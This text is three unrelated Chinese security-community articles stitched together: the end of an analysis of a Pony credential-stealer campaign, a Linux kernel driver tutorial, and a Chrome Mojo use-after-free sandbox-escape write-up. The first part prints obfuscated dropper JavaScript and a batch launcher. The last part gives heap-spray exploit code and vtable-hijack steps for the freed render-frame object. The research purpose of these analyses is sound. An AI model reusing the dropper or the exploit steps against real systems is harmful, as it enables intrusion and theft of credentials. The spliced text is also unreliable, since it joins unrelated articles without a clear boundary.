`shdkqn["Run"](hello, 0, 1);`
`}`
`var opznjaf='"';
var unzk18="MD" + opznjaf;
var mqiojnj3="C";
var rtqnooznn5 ="m";
var oonnzzh4="<";
var nqyznfhw0=mqiojnj3+"mD ";
var iqmzghsl= nqyznfhw0 + "/" + mqiojnj3 + " " + nqyznfhw0 + oonnzzh4 + " " +
opznjaf + "%Te" + rtqnooznn5 + "P%\ufFm.c" + unzk18;
tbpofmq(iqmzghsl);]]>
</script>`
2.样本ufFm.cmd的主要功能是启动itnqknf5.CMD：
`ECHO OFF`
`set uninmqofhjs="%uSeRpRofilE%"`
`set ntzyqjpa="appDataloCalTeMpblOCk.tXt"`
`IF EXIST %uninmqofhjs%%ntzyqjpa% (exit) ELSE (copy NUL
%uninmqofhjs%%ntzyqjpa% & cd %temp% & START /b itnqknf5.CMD)`
3.样本itnqknf5.CMD的主要功能为：通过修改注册表改变word的安全设置选项；启动与之前名称相同的文档迷惑受害者；解压1.zip压缩包并启动压缩包中的saver.scr程序；最后删除之前的样本文件。具体代码如下：
执行到这里，这一阶段的样本执行已经结束。通过以上内容成功执行了最后一层样本并开启了迷惑受害者选项。接下来分析的是最后启动的恶意安装程序。
### 1.2分析安装程序
通过分析发现这是一个使用NSIS制作的安装程序，即代码的核心功能由NSIS制作运行，能够起到了一定的免杀和混淆作用。所有使用该种方式运行的恶意代码其最开始的运行逻辑是相同的，类似于一个“壳”。
我们将该文件解压发现共有两个文件夹，一个为NSIS运行时依赖的组件（白文件）：
另一个为恶意DLL和一个加密文件：
从上图中得知主要运行的恶意代码存放在matchbooks.dll和Spelaeology中，但是要从NSIS程序开始调试，从而查找恶意代码是如何启动的。
#### 1.2.1恶意代码无文件落地部分
调试得到核心代码地址位于00403c05：
首先调用是放在临时文件下的system.dll(白文件)：
从system.dll中调用matchbooks.dll的kramnik导出函数：
Kramnik函数接下来调用load4导出函数，用来执行进程注入行为将恶意代码注入到新建的进程中躲避杀软的检测：
加载临时文件夹下的Spelaeology进行解密操作：
创建同名进程saver.scr：
将解密后的可执行文件写入申请的内存空间：
启动注入进程：
执行到此已经将恶意代码成功的无文件落地执行，接下来的内容将在内存中运行使得杀软难以检测。
## 二、窃密部分
接下来执行的恶意代码为Pony
Loader，是俄罗斯开发的窃密木马（参考资料[https://github.com/m0n0ph1/malware-1/tree/master/Pony）。](https://github.com/m0n0ph1/malware-1/tree/master/Pony)
首先通过读取注册表获得受害机的基本信息，用户名、应用程序列表等：
然后出现了一个有意思的字符串，攻击者使用“Mesoamerica”（解密字符串“Oguqcogtkec”得到）作为控制延迟的参数：
之后在内存中解密出密码字典用于之后的用户登录，将所有的字符进行“减1”操作得到字典：
解密得到的结果如下：
接下来窃取FTP登陆凭证、浏览器登陆信息、邮件登陆信息、虚拟货币钱包等：
1.窃取FTP软件等登陆凭证，包括以下软件：
* FARManager
* Total Commander
* WS_FTP
* CuteFTP
* FlashFXP
* FileZilla
* FTP Commander
* BulletProof FTP
* SmartFTP
* TurboFTP
* FFFTP
* CoffeeCup FTP
* CoreFTP
* FTP Explorer
* Frigate3 FTP
* SecureFX
* UltraFXP
* FTPRush
* WebSitePublisher
* BitKinex
* ExpanDrive
* ClassicFTP
* Fling
* SoftX
* Directory Opus
* FreeFTP
* DirectFTP (определяется как FreeFTP)
* LeapFTP
* WinSCP
* 32bit FTP
* NetDrive
* WebDrive
* FTP Control
* Opera
* WiseFTP
* FTP Voyager
* Firefox
* FireFTP
* SeaMonkey
* Flock
* Mozilla Suite Browser
* LeechFTP
* Odin Secure FTP Expert
* WinFTP
* FTP Surfer
* FTPGetter
* ALFTP
* Internet Explorer
* Dreamweaver
* DeluxeFTP
* Google Chrome
* Chromium
* SRWare Iron (определяется как Chromium)
* ChromePlus
* Bromium (Yandex Chrome)
* Nichrome
* Comodo Dragon
* RockMelt
* K-Meleon
* Epic
* Staff-FTP
* AceFTP
* Global Downloader
* FreshFTP
* BlazeFTP
* NETFile
* GoFTP
* 3D-FTP
* Easy FTP
* Xftp
* FTP Now
* Robo-FTP
* LinasFTP
* Cyberduck
* Putty
* Notepad++ (NppFTP)
* CoffeeCup Visual Site Designer
* CoffeeCup Sitemapper (определяется как CoffeeCup FTP)
* FTPShell
* FTPInfo
* NexusFile
* FastStone Browser
* CoolNovo
* WinZip
* Yandex.Internet
* MyFTP
* sherrod FTP
* NovaFTP
* Windows Mail
* Windows Live Mail
* Pocomail
* Becky!
* IncrediMail
* The Bat!
* Outlook
* Thunderbird
* FastTrackFTP
* Я.Браузер
* Electrum
* MultiBit
FTP Disk
2.窃取火狐、opera、谷歌等浏览器中的登陆凭证
3.窃取邮件信息
4.窃取多种虚拟货币
将窃取的登陆凭证回传到C2:
使用之前解密出的硬编码字典测试受害机用户密码：
最后创建bat文件进行删除操作,擦除痕迹:
## 三、总结
由于恶意代码重复利用简单、成本低廉，导致窃密等攻击成本降低，从而使得网络攻击行为更加密集、手段更加成熟。纵观该样本的攻击方式：整个过程一气呵成，偷完就跑；在每一个阶段都会更改或读取用户设置并在执行完恶意代码后删除相应样本防止被检测发现。除此之外，还将最终恶意代码隐藏在内存中运行躲避检测。
在此提醒大家：养成良好的计算机使用习惯，防止躲避手段高明的恶意代码在个人PC执行给大家造成隐私、财产损失等。 | 社区文章 |
**作者：Hcamael@知道创宇404实验室**
**英文版本：<https://paper.seebug.org/976/>**
最近在搞IoT的时候，因为没有设备，模拟跑固件经常会缺`/dev/xxx`，所以我就开始想，我能不能自己写一个驱动，让固件能跑起来？因此，又给自己挖了一个很大坑，不管最后能不能达到我的初衷，能学到怎么开发Linux驱动，也算是有很大的收获了。
### 前言
我写的这个系列以实践为主，不怎么谈理论，理论可以自己去看书，我是通过《Linux Device
Drivers》这本书学的驱动开发，Github上有这本书中讲解的实例的代码[[1]](https://github.com/jesstess/ldd4
"\[1\]")。
虽然我不想谈太多理论，但是关于驱动的基本概念还是要有的。Linux系统分为内核态和用户态，只有在内核态才能访问到硬件设备，而驱动可以算是内核态中提供出的API，供用户态的代码访问到硬件设备。
有了基本概念以后，我就产生了一系列的问题，而我就是通过我的这一系列的问题进行学习的驱动开发：
1. 一切代码的学习都是从Hello World开始的，怎么写一个Hello World的程序？
2. 驱动是如何在/dev下生成设备文件的？
3. 驱动怎么访问实际的硬件？
4. 因为我毕竟是搞安全的，我会在想，怎么获取系统驱动的代码？或者没有代码那能逆向驱动吗？驱动的二进制文件储存在哪？以后有机会可能还可以试试搞驱动安全。
### Everything start from Hello World
提供我的Hello
World代码[[2]](https://raw.githubusercontent.com/Hcamael/Linux_Driver_Study/master/hello.c
"\[2\]")：
#include <linux/init.h>
#include <linux/module.h>
MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("Hcamal");
int hello_init(void)
{
printk(KERN_INFO "Hello World\n");
return 0;
}
void hello_exit(void)
{
printk(KERN_INFO "Goodbye World\n");
}
module_init(hello_init);
module_exit(hello_exit);
Linux下的驱动是使用C语言进行开发的，但是和我们平常写的C语言也有不同，因为我们平常写的C语言使用的是Libc库，但是驱动是跑在内核中的程序，内核中却不存在libc库，所以要使用内核中的库函数。
比如`printk`可以类比为libc中的`printf`，这是在内核中定义的一个输出函数，但是我觉得更像Python里面logger函数，因为`printk`的输出结果是打印在内核的日志中，可以使用`dmesg`命令进行查看
驱动代码只有一个入口点和一个出口点，把驱动加载到内核中，会执行`module_init`函数定义的函数，在上面代码中就是`hello_init`函数。当驱动从内核被卸载时，会调用`module_exit`函数定义的函数，在上面代码中就是`hello_exit`函数。
上面的代码就很清晰了，当加载驱动时，输出`Hello World`，当卸载驱动时，输出`Goodbye World`
PS：`MODULE_LICENSE`和`MODULE_AUTHOR`这两个不是很重要，我又不是专业开发驱动的，所以不用关注这两个
PSS: `printk`输出的结果要加一个换行，要不然不会刷新缓冲区
#### 编译驱动
驱动需要通过make命令进行编译，`Makefile`如下所示:
ifneq ($(KERNELRELEASE),)
obj-m := hello.o
else
KERN_DIR ?= /usr/src/linux-headers-$(shell uname -r)/
PWD := $(shell pwd)
default:
$(MAKE) -C $(KERN_DIR) M=$(PWD) modules
endif
clean:
rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions
一般情况下，内核的源码都存在与`/usr/src/linux-headers-$(shell uname -r)/`目录下
比如：
$ uname -r
4.4.0-135-generic
/usr/src/linux-headers-4.4.0-135/ --> 该内核源码目录
/usr/src/linux-headers-4.4.0-135-generic/ --> 该内核编译好的源码目录
而我们需要的是编译好后的源码的目录，也就是`/usr/src/linux-headers-4.4.0-135-generic/`
驱动代码的头文件都需要从该目录下进行搜索
`M=$(PWD)`该参数表示，驱动编译的结果输出在当前目录下
最后通过命令`obj-m := hello.o`，表示把`hello.o`编译出`hello.ko`, 这个ko文件就是内核模块文件
#### 加载驱动到内核
需要使用到的一些系统命令：
* `lsmod`: 查看当前已经被加载的内核模块
* `insmod`: 加载内核模块，需要root权限
* `rmmod`: 移除模块
比如:
# insmod hello.ko // 把hello.ko模块加载到内核中
# rmmod hello // 把hello模块从内核中移除
旧版的内核就是使用上面这样的方法进行内核的加载与移除，但是新版的Linux内核增加了对模块的验证，当前实际的情况如下:
# insmod hello.ko
insmod: ERROR: could not insert module hello.ko: Required key not available
从安全的角度考虑，现在的内核都是假设模块为不可信的，需要使用可信的证书对模块进行签名，才能加载模块
解决方法用两种:
1. 进入BIOS，关闭UEFI的Secure Boot
2. 向内核添加一个自签名证书，然后使用证书对驱动模块进行签名，参考[[3]](https://jin-yang.github.io/post/kernel-modules.html "\[3\]")
#### 查看结果
### 在/dev下增加设备文件
同样先提供一份代码，然后讲解这份实例代码[[4]](https://raw.githubusercontent.com/Hcamael/Linux_Driver_Study/master/scull.c
"\[4\]")
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h> /* printk() */
#include <linux/slab.h> /* kmalloc() */
#include <linux/fs.h> /* everything... */
#include <linux/errno.h> /* error codes */
#include <linux/types.h> /* size_t */
#include <linux/fcntl.h> /* O_ACCMODE */
#include <linux/cdev.h>
#include <asm/uaccess.h> /* copy_*_user */
MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("Hcamael");
int scull_major = 0;
int scull_minor = 0;
int scull_nr_devs = 4;
int scull_quantum = 4000;
int scull_qset = 1000;
struct scull_qset {
void **data;
struct scull_qset *next;
};
struct scull_dev {
struct scull_qset *data; /* Pointer to first quantum set. */
int quantum; /* The current quantum size. */
int qset; /* The current array size. */
unsigned long size; /* Amount of data stored here. */
unsigned int access_key; /* Used by sculluid and scullpriv. */
struct mutex mutex; /* Mutual exclusion semaphore. */
struct cdev cdev; /* Char device structure. */
};
struct scull_dev *scull_devices; /* allocated in scull_init_module */
/*
* Follow the list.
*/
struct scull_qset *scull_follow(struct scull_dev *dev, int n)
{
struct scull_qset *qs = dev->data;
/* Allocate the first qset explicitly if need be. */
if (! qs) {
qs = dev->data = kmalloc(sizeof(struct scull_qset), GFP_KERNEL);
if (qs == NULL)
return NULL;
memset(qs, 0, sizeof(struct scull_qset));
}
/* Then follow the list. */
while (n--) {
if (!qs->next) {
qs->next = kmalloc(sizeof(struct scull_qset), GFP_KERNEL);
if (qs->next == NULL)
return NULL;
memset(qs->next, 0, sizeof(struct scull_qset));
}
qs = qs->next;
continue;
}
return qs;
}
/*
* Data management: read and write.
*/
ssize_t scull_read(struct file *filp, char __user *buf, size_t count,
loff_t *f_pos)
{
struct scull_dev *dev = filp->private_data;
struct scull_qset *dptr; /* the first listitem */
int quantum = dev->quantum, qset = dev->qset;
int itemsize = quantum * qset; /* how many bytes in the listitem */
int item, s_pos, q_pos, rest;
ssize_t retval = 0;
if (mutex_lock_interruptible(&dev->mutex))
return -ERESTARTSYS;
if (*f_pos >= dev->size)
goto out;
if (*f_pos + count > dev->size)
count = dev->size - *f_pos;
/* Find listitem, qset index, and offset in the quantum */
item = (long)*f_pos / itemsize;
rest = (long)*f_pos % itemsize;
s_pos = rest / quantum; q_pos = rest % quantum;
/* follow the list up to the right position (defined elsewhere) */
dptr = scull_follow(dev, item);
if (dptr == NULL || !dptr->data || ! dptr->data[s_pos])
goto out; /* don't fill holes */
/* read only up to the end of this quantum */
if (count > quantum - q_pos)
count = quantum - q_pos;
if (raw_copy_to_user(buf, dptr->data[s_pos] + q_pos, count)) {
retval = -EFAULT;
goto out;
}
*f_pos += count;
retval = count;
out:
mutex_unlock(&dev->mutex);
return retval;
}
ssize_t scull_write(struct file *filp, const char __user *buf, size_t count,
loff_t *f_pos)
{
struct scull_dev *dev = filp->private_data;
struct scull_qset *dptr;
int quantum = dev->quantum, qset = dev->qset;
int itemsize = quantum * qset;
int item, s_pos, q_pos, rest;
ssize_t retval = -ENOMEM; /* Value used in "goto out" statements. */
if (mutex_lock_interruptible(&dev->mutex))
return -ERESTARTSYS;
/* Find the list item, qset index, and offset in the quantum. */
item = (long)*f_pos / itemsize;
rest = (long)*f_pos % itemsize;
s_pos = rest / quantum;
q_pos = rest % quantum;
/* Follow the list up to the right position. */
dptr = scull_follow(dev, item);
if (dptr == NULL)
goto out;
if (!dptr->data) {
dptr->data = kmalloc(qset * sizeof(char *), GFP_KERNEL);
if (!dptr->data)
goto out;
memset(dptr->data, 0, qset * sizeof(char *));
}
if (!dptr->data[s_pos]) {
dptr->data[s_pos] = kmalloc(quantum, GFP_KERNEL);
if (!dptr->data[s_pos])
goto out;
}
/* Write only up to the end of this quantum. */
if (count > quantum - q_pos)
count = quantum - q_pos;
if (raw_copy_from_user(dptr->data[s_pos]+q_pos, buf, count)) {
retval = -EFAULT;
goto out;
}
*f_pos += count;
retval = count;
/* Update the size. */
if (dev->size < *f_pos)
dev->size = *f_pos;
out:
mutex_unlock(&dev->mutex);
return retval;
}
/* Beginning of the scull device implementation. */
/*
* Empty out the scull device; must be called with the device
* mutex held.
*/
int scull_trim(struct scull_dev *dev)
{
struct scull_qset *next, *dptr;
int qset = dev->qset; /* "dev" is not-null */
int i;
for (dptr = dev->data; dptr; dptr = next) { /* all the list items */
if (dptr->data) {
for (i = 0; i < qset; i++)
kfree(dptr->data[i]);
kfree(dptr->data);
dptr->data = NULL;
}
next = dptr->next;
kfree(dptr);
}
dev->size = 0;
dev->quantum = scull_quantum;
dev->qset = scull_qset;
dev->data = NULL;
return 0;
}
int scull_release(struct inode *inode, struct file *filp)
{
printk(KERN_DEBUG "process %i (%s) success release minor(%u) file\n", current->pid, current->comm, iminor(inode));
return 0;
}
/*
* Open and close
*/
int scull_open(struct inode *inode, struct file *filp)
{
struct scull_dev *dev; /* device information */
dev = container_of(inode->i_cdev, struct scull_dev, cdev);
filp->private_data = dev; /* for other methods */
/* If the device was opened write-only, trim it to a length of 0. */
if ( (filp->f_flags & O_ACCMODE) == O_WRONLY) {
if (mutex_lock_interruptible(&dev->mutex))
return -ERESTARTSYS;
scull_trim(dev); /* Ignore errors. */
mutex_unlock(&dev->mutex);
}
printk(KERN_DEBUG "process %i (%s) success open minor(%u) file\n", current->pid, current->comm, iminor(inode));
return 0;
}
/*
* The "extended" operations -- only seek.
*/
loff_t scull_llseek(struct file *filp, loff_t off, int whence)
{
struct scull_dev *dev = filp->private_data;
loff_t newpos;
switch(whence) {
case 0: /* SEEK_SET */
newpos = off;
break;
case 1: /* SEEK_CUR */
newpos = filp->f_pos + off;
break;
case 2: /* SEEK_END */
newpos = dev->size + off;
break;
default: /* can't happen */
return -EINVAL;
}
if (newpos < 0)
return -EINVAL;
filp->f_pos = newpos;
return newpos;
}
struct file_operations scull_fops = {
.owner = THIS_MODULE,
.llseek = scull_llseek,
.read = scull_read,
.write = scull_write,
// .unlocked_ioctl = scull_ioctl,
.open = scull_open,
.release = scull_release,
};
/*
* Set up the char_dev structure for this device.
*/
static void scull_setup_cdev(struct scull_dev *dev, int index)
{
int err, devno = MKDEV(scull_major, scull_minor + index);
cdev_init(&dev->cdev, &scull_fops);
dev->cdev.owner = THIS_MODULE;
dev->cdev.ops = &scull_fops;
err = cdev_add (&dev->cdev, devno, 1);
/* Fail gracefully if need be. */
if (err)
printk(KERN_NOTICE "Error %d adding scull%d", err, index);
else
printk(KERN_INFO "scull: %d add success\n", index);
}
void scull_cleanup_module(void)
{
int i;
dev_t devno = MKDEV(scull_major, scull_minor);
/* Get rid of our char dev entries. */
if (scull_devices) {
for (i = 0; i < scull_nr_devs; i++) {
scull_trim(scull_devices + i);
cdev_del(&scull_devices[i].cdev);
}
kfree(scull_devices);
}
/* cleanup_module is never called if registering failed. */
unregister_chrdev_region(devno, scull_nr_devs);
printk(KERN_INFO "scull: cleanup success\n");
}
int scull_init_module(void)
{
int result, i;
dev_t dev = 0;
/*
* Get a range of minor numbers to work with, asking for a dynamic major
* unless directed otherwise at load time.
*/
if (scull_major) {
dev = MKDEV(scull_major, scull_minor);
result = register_chrdev_region(dev, scull_nr_devs, "scull");
} else {
result = alloc_chrdev_region(&dev, scull_minor, scull_nr_devs, "scull");
scull_major = MAJOR(dev);
}
if (result < 0) {
printk(KERN_WARNING "scull: can't get major %d\n", scull_major);
return result;
} else {
printk(KERN_INFO "scull: get major %d success\n", scull_major);
}
/*
* Allocate the devices. This must be dynamic as the device number can
* be specified at load time.
*/
scull_devices = kmalloc(scull_nr_devs * sizeof(struct scull_dev), GFP_KERNEL);
if (!scull_devices) {
result = -ENOMEM;
goto fail;
}
memset(scull_devices, 0, scull_nr_devs * sizeof(struct scull_dev));
/* Initialize each device. */
for (i = 0; i < scull_nr_devs; i++) {
scull_devices[i].quantum = scull_quantum;
scull_devices[i].qset = scull_qset;
mutex_init(&scull_devices[i].mutex);
scull_setup_cdev(&scull_devices[i], i);
}
return 0; /* succeed */
fail:
scull_cleanup_module();
return result;
}
module_init(scull_init_module);
module_exit(scull_cleanup_module);
#### 知识点1 -- 驱动分类
驱动分为3类，字符设备、块设备和网口接口，上面代码举例的是字符设备，其他两种，之后再说。
如上图所示，`brw-rw----`权限栏，b开头的表示块设备(block)，c开头的表示字符设备(char)
#### 知识点2 -- 主次编号
主编号用来区分驱动，一般主编号相同的表示由同一个驱动程序控制。
一个驱动中能创建多个设备，用次编号来区分。
主编号和次编号一起，决定了一个驱动设备。
如上图所示,
brw-rw---- 1 root disk 8, 0 Dec 17 13:02 sda
brw-rw---- 1 root disk 8, 1 Dec 17 13:02 sda1
设备`sda`和`sda1`的主编号为8，一个此编号为0一个此编号为1
#### 知识点3 -- 驱动是如何提供API的
在我的概念中，驱动提供的接口是`/dev/xxx`，在Linux下`Everything is
File`，所以对驱动设备的操作其实就是对文件的操作，所以一个驱动就是用来定义，打开/读/写/......一个`/dev/xxx`将会发生啥，驱动提供的API也就是一系列的文件操作。
有哪些文件操作？都被定义在内核`<linux/fs.h>`[[5]](https://raw.githubusercontent.com/torvalds/linux/master/include/linux/fs.h
"\[5\]")头文件中，`file_operations`结构体
上面我举例的代码中：
struct file_operations scull_fops = {
.owner = THIS_MODULE,
.llseek = scull_llseek,
.read = scull_read,
.write = scull_write,
.open = scull_open,
.release = scull_release,
};
我声明了一个该结构体，并赋值，除了`owner`，其他成员的值都为函数指针
之后我在`scull_setup_cdev`函数中，使用`cdev_add`向每个驱动设备，注册该文件操作结构体
比如我对该驱动设备执行open操作，则会去执行`scull_open`函数，相当于hook了系统调用中的`open`函数
#### 知识点4 -- 在/dev下生成相应的设备
对上面的代码进行编译，得到scull.ko，然后对其进行签名，最后使用`insmod`加载进内核中
查看是否成功加载：
虽然驱动已经加载成功了，但是并不会在/dev目录下创建设备文件，需要我们手动使用`mknod`进行设备链接:
### 总结
在该实例中，并没有涉及到对实际物理设备的操作，只是简单的使用`kmalloc`在内核空间申请一块内存。代码细节上的就不做具体讲解了，都可以通过查头文件或者用Google搜出来。
再这里分享一个我学习驱动开发的方法，首先看书把基础概念给弄懂，细节到需要用到的时候再去查。
比如，我不需要知道驱动一共能提供有哪些API(也就是file_operations结构都有啥)，我只要知道一个概念，驱动提供的API都是一些文件操作，而文件操作，目前我只需要`open,
close, read, write`，其他的等有需求，要用到的时候再去查。
### 参考
1. <https://github.com/jesstess/ldd4>
2. <https://raw.githubusercontent.com/Hcamael/Linux_Driver_Study/master/hello.c>
3. <https://jin-yang.github.io/post/kernel-modules.html>
4. <https://raw.githubusercontent.com/Hcamael/Linux_Driver_Study/master/scull.c>
5. <https://raw.githubusercontent.com/torvalds/linux/master/include/linux/fs.h>
* * * | 社区文章 |
**作者：天玄安全实验室**
**原文链接：<https://mp.weixin.qq.com/s/tGwCwOQ8eAwm26fHXTCy5A>**
## 漏洞说明
Issue-1062091为chrom中存在的一个UAF漏洞，此漏洞存在于chromium的Mojo框架中，利用此漏洞可以导致chrome与基于chromium的浏览器沙箱逃逸。这个漏洞是在Chrome
81.0.4041.0的提交中引入的。在几周后，这个提交中的漏洞恰好移动到了实验版本命令行标志的后面。但是，这个更改位于Chrome
82.0.4065.0版本中， **因此该漏洞在Chrome稳定版本81的所有桌面平台上都是可以利用的。**
## 环境配置
一开始打算像调试v8漏洞那样尝试用fetch拉取代码编译带有漏洞的chromium，但是发现chromium源码下载太慢且太大，故直接下载编译好的chromium，地址:vikyd.github.io
下载时除了chromium本体以外还需要将其pdb符号也一起下载
下载好后直接将pdb符号文件与exe执行文件解压放在一起即可
最后用windbg验证是否可以正常查找函数
注：下载以上内容都需要代理
## 漏洞分析
### POC
由于poc目录结构比较复杂，直接给出完整poc下载地址(需要代理)：bugs.chromium.org下载解压后可以得到两个html文件，其中trigger.html为我们需要的poc
然后尝试触发漏洞，根据说明得知chrome默认不会启用mojo，想要启用有两种方法: 一、在命令行启动chromium时加上`--enable-blink-features=MojoJS,MojoJSTest`参数。二、利用另一个漏洞去改写当前Frame对象内部的一个变量`content::RenderFrameImpl::enabled_bindings_`让Frame拥有调用MojoJS的能力，通过以下路径可以得到该变量：
chrome.dll base => g_frame_map => RenderFrameImpl(main frame) => RenderFrameImpl.enabled_bindings_
关于改写变量部分具体可查看SCTF202中的0x02 exploit部分，在实际利用漏洞进行攻击时肯定采用第二种方式，而此时仅需要分析利用Issue
1062091漏洞即可，所以先不去过分关心mojo开启的问题，直接采用第一种方法开启mojo。使用windbg进行调试
在调试开始前由于当前工作目录的问题需要将poc代码中以下两处路径进行一些改动
然后用`.childdbg 1`开启子进程调试
之后经过几个`ntdll!LdrpDoDebuggerBreak`后就会触发crash
## 漏洞分析
通过观察异常信息可判断此处并非漏洞触发的第一现场，使用gflags.exe开启页堆(+hpa)与堆栈跟踪(+ust)并在启动chrome时添加--no-sandbox参数进行调试分析会发现崩溃点会转移到前一句代码
再结合代码可以判断发生崩溃的地方是在获取render_frame_host_对象虚表
使用!address查看该render_frame_host_对象内存信息会发现该内存已被释放
通过观察发现render_frame_host_对象在InstalledAppProviderImpl对象在构造时被初始化
对content::InstalledAppProviderImpl::Create函数下断，当执行到以下内容时将会创建InstalledAppProviderImpl对象
而render_frame_host_保存在InstalledAppProviderImpl对象0x8偏移处
再结合poc可以确定InstalledAppProviderImpl对象是在sub frame调用bindInterface进行接口绑定时创建的
在之后的poc执行中，父帧会通过MojoInterfaceInterceptor拦截并获取子帧的句柄
获取后便会调用body.removeChild删除子帧
最后会通过filterInstalledApps函数去调用已经被释放的render_frame_host_对象的虚函数
总结poc的执行顺序大致为：
* 通过window.location.hash判断是否是子帧
* 如果是子帧就去执行Mojo.bindInterface
* 如果是父帧就去创建子帧并用MojoInterfaceInterceptor拦截子帧的Mojo.bindInterface到并将其句柄传递给父帧
* 释放子帧
* 使用filterInstalledApps去调用已经被释放但却依然还留有悬挂指针的render_frame_host_虚函数
## 漏洞利用
### 开启Mojo
上文中提到过chrome默认不能直接调用mojo，所以此处使用cve
2021-21224来配合开启mojo。通过分析可知mojoJS的开启与关闭主要由RenderFrameImpl类成员变量enabled_bindings_与IsMainFrame函数来决定
IsMainFrame函数的逻辑很简单就只是将一个类成员变量返回
而通过调试也可知当enabled_bindings_ & 2不为0时即可满足条件
也就是说此时只需要将enabled_bindings_修改为2，再将is_main_frame_修改为1即可满足条件开启mojo。而在一个页面中可能会存在多个frame，而这些frame所对应的RenderFrameImpl对象都存储在一个全局变量g_frame_map中
要查找到全局变量g_frame_map，就需要先获取到chrome.dll的基址，利用21224构造的地址泄露函数与读写原语，泄露window对象地址，再从window对象中获取到一个位于chrome.dll模块中的地址，再用该地址减去一定的偏移来得到chrome.dll模块基址，除此以外还可以用特征码查找的方式，这种方式兼容性会更好，但在我的环境下读写原语在进行频繁的读写操作时会产生异常发生崩溃，具体原因暂时未知，所以姑且使用减去固定偏移获取基址的办法。
之后由于无法直接通过g_frame_map符号在windbg中使用x来查找其地址，那就通过查找调用过该全局变量的函数来查找
之后在windbg中查找RenderFrame::ForEach并查看其汇编代码获取到g_frame_map地址为00007ffe`3d927888，用此值减去chrome基址得到偏移为0x7627888，只要使用chrome基址加0x7627888即可得到g_frame_map地址
g_frame_map变量8-16偏移处存放着一个链式结构，当只有一个frame时
创建sub frame后
而其对应的RenderFrameImpl对象保存在红线划出内存地址的0x28偏移处
再通过观察content::RenderFrameImpl::DidCreateScriptContext函数来获取相关变量在对象中的偏移，enabled_bindings_偏移为0x560
IsMainFrame函数中用到的have_context_变量偏移为0x88
将g_frame_map中保存的所有RenderFrameImpl对象相应偏移修改为对应的值即可。但要注意的是在我的漏洞环境（
81.0.4044.0）中，在获取成员变量enabled_bindings_时需要将g_frame_map中拿到的RenderFrameImpl对象地址加0x68再加enabled_bindings_所在偏移，而IsMainFrame中用到的成员变量就在g_frame_map中拿到的RenderFrameImpl对象的0x88偏移处。
### 内存回收
对于uaf漏洞利用的第一步肯定是将此内存进行回收，而进行内存回收的前提就是先需要知道被释放的render_frame_host_占多大内存，通过前面的调试分析得知render_frame_host_为RenderFrameHostImpl类实例，所以可以先对RenderFrameHostImpl构造函数下断，而实例大小从构造函数是看不出来的，但可以从调用该实例构造函数的函数中看到。通过kb栈回溯查看调用RenderFrameHostImpl构造函数的函数为RenderFrameHostFactory::Create
通过查看该函数可知render_frame_host_对象大小为0xC38字节
在知道了要回收的内存大小后就可以通过创建一系列的Blob来回收该内存
var spray_buff = new ArrayBuffer(0xC38);
var spray_view = new DataView(spray_buff);
for(var i = 0; i < spray_buff.byteLength; i++)
spray_view.setInt8(i, 0x41, true);
//释放子帧
for(var i = 0; i < 0xA; i++)
spray_arr[i] = new Blob([spray_buff]);
但此方法稳定性不足，不能保证能成功进行内存回收，更好的办法是采用已经被封装好的函数
function getAllocationConstructor() {
let blob_registry_ptr =
new blink.mojom.BlobRegistryPtr();
Mojo.bindInterface(blink.mojom.BlobRegistry.name,
mojo.makeRequest(
blob_registry_ptr)
.handle, "process", true);
function Allocation(size=280) {
function ProgressClient(allocate) {
function ProgressClientImpl() {
}
ProgressClientImpl.prototype = {
onProgress: async (arg0) => {
if (this.allocate.writePromise) {
this.allocate.writePromise.resolve(arg0);
}
}
};
this.allocate = allocate;
this.ptr = new mojo.AssociatedInterfacePtrInfo();
var progress_client_req = mojo.makeRequest(this.ptr);
this.binding = new mojo.AssociatedBinding(
blink.mojom.ProgressClient,
new ProgressClientImpl(),
progress_client_req
);
return this;
}
this.pipe = Mojo.createDataPipe({
elementNumBytes: size, capacityNumBytes: size});
this.progressClient = new ProgressClient(this);
blob_registry_ptr.registerFromStream(
"", "", size, this.pipe.consumer,
this.progressClient.ptr).then((res) => {
this.serialized_blob = res.blob;
})
this.malloc = async function(data) {
promise = new Promise((resolve, reject) => {
this.writePromise = {resolve: resolve, reject: reject};
});
this.pipe.producer.writeData(data);
this.pipe.producer.close();
written = await promise;
console.assert(written == data.byteLength);
}
this.free = async function() {
this.serialized_blob.blob.ptr.reset();
await sleep(1000);
}
this.read = function(offset, length) {
this.readpipe = Mojo.createDataPipe({
elementNumBytes: 1, capacityNumBytes: length});
this.serialized_blob.blob.readRange(
offset, length, this.readpipe.producer, null);
return new Promise((resolve) => {
this.watcher = this
.readpipe
.consumer
.watch({readable: true}, (r) => {
result = new ArrayBuffer(length);
this.readpipe.consumer.readData(result);
this.watcher.cancel();
resolve(result);
});
});
}
this.readQword = async function(offset) {
let res = await this.read(offset, 8);
return (new DataView(res)).getBigUint64(0, true);
}
return this;
}
async function allocate(data) {
let allocation =
new Allocation(data.byteLength);
await allocation.malloc(data);
return allocation;
}
return allocate;
}
//.....
let allocate = getAllocationConstructor();
function spray(data) {
return Promise
.all(Array(0x8)
.fill()
.map(() => allocate(data)));
}
// 释放
let ptr = await getFreedPtr();
// 回收
let sa = await spray(spray_buff);
// 触发漏洞
### 避免崩溃
#### 堆地址泄露
此时由于原本存放render_frame_host_对象的内存现在被blob所占用，所以当调用render_frame_host_对象虚函数GetProcess时就会去调用spray_buff中的元素值+0x48处，而spray_buff对应位置值为0x4141414141414141所以此时依然会触发崩溃
所以此时需要填入相应的函数地址，保证在执行GetProcess与GetBrowserContest两个虚函数时不会发生崩溃，并在执行IsOffTheRecord时能够泄露堆地址。通过查找可以首先找到一个符合条件的函数ChromeMainDelegate::CreateContentClient，此函数会将this+8处地址返回给调用者，可以将此函数地址填入堆喷占位的数据中，在调用GetProcess与GetBrowserContext虚函数时就回去调用此函数。
再查找到ChromeMainDelegate类虚表
查看虚表得知ChromeMainDelegate::CreateContentClient函数地址存放在起虚表的0x70偏移处。
而InstalledAppProviderImpl::FilterInstalledApps在调用虚函数GetProcess时会从内存中获取一个地址将其加0x48并在此处获取一个函数去执行，所以可以将ChromeMainDelegate虚表地址+(0x70-0x48)填入堆喷数据中，当InstalledAppProviderImpl::FilterInstalledApps去调用GetProcess时就会转入ChromeMainDelegate::CreateContentClient函数
